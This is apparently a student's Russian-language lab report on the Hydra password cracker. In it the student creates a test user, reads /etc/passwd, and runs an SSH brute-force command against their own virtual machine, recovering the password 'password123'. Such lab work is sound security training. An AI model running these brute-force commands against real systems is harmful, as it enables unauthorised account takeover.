

Использование Hydra

Этап 3

Абу Сувейлим Мухаммед Мунифович

Содержание

1	Цель работы	5
2	Задание	6
3	Теоретическое введение	7
4	Выполнение лабораторной работы	8
5	Выводы	10
	Список литературы	11

Список иллюстраций

4.1	Пользователь testuser	8
4.2	Команда cat grep	8
4.3	Команда ifconfig	9
4.4	Команда hydra	9

Список таблиц

1 Цель работы

Выполнить простейшие команды инструмента Hydra.

2 Задание

Взломать пароль по имени пользователя.

3 Теоретическое введение

Hydra - это программное обеспечение с открытым исходным кодом для перебора паролей в реальном времени от различных онлайн сервисов, веб-приложений, FTP, SSH и других протоколов. Это распараллеленный взломщик для входа в систему, он поддерживает множество протоколов для осуществления атак. Пользователь быстро и с легкостью может добавить новые модули. Hydra предоставляет специалистам в сфере ИБ возможность узнать, насколько легко можно получить несанкционированный доступ к системе с удаленного устройства. [1]

4 Выполнение лабораторной работы

Для начала создадим новый пользователь testuser (рис. 4.1):

```
[sudo] password for smabu:
info: Adding user `testuser' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `testuser' (1001) ...
info: Adding new user `testuser' (1001) with group `testuser (1001)' ...
warn: The home directory `/home/testuser' already exists. Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for testuser
Enter the new value, or press ENTER for the default
  Full Name []: Test Test
    Room Number []: 123
    Work Phone []: 123
    Home Phone []: 123
      Other []:
Is the information correct? [Y/n] y
info: Adding new user `testuser' to supplemental / extra groups `users' ...
info: Adding user `testuser' to group `users' ...
```

Рис. 4.1: Пользователь testuser

Проверим данные пользователя (рис. 4.2):

```
(smabu@smabu)-[~]
$ cat /etc/passwd | grep test
testuser:x:1001:1001:Test Test,123,123,123:/home/testuser:/bin/bash
```

Рис. 4.2: Команда cat | grep

Далее, определим ip адрес машинной (рис. 4.3):


```

(smabu@smabu)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
    inet6 fe80::a00:27ff:febe:3faa prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:be:3f:aa txqueuelen 1000 (Ethernet)
    RX packets 4865 bytes 5796096 (5.5 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2086 bytes 253626 (247.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 772 bytes 126988 (124.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 772 bytes 126988 (124.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Рис. 4.3: Команда ifconfig

Наконец то указывается список пользователей и паролей, ip адрес, протокол и выполняем команду (рис. 4.4):

```

(smabu@smabu)-[~]
$ hydra -l testuser -P passwords.txt 10.0.2.15 ssh
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s
ervice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethi
cs anyway).

hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-28 17:20:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce
the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://10.0.2.15:22/
22][ssh] host: 10.0.2.15 login: testuser password: password123
1 of 1 target successfully completed, 1 valid password found
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-28 17:20:57

(smabu@smabu)-[~]
$

```

Рис. 4.4: Команда hydra

Получили логин “testuser” и пароль “password123”

5 Выводы

В результате выполнения работы мы повысили свои навыки использования инструмента Hydra. [2]

Список литературы

1. cryptoparty. DVWA – Уязвимое веб-приложение. 2018.
2. Парасрам Шива Х.Т. Замм Алекс. Kali Linux. Тестирование на проникновение и безопасность. СПб, 2020. 448 с.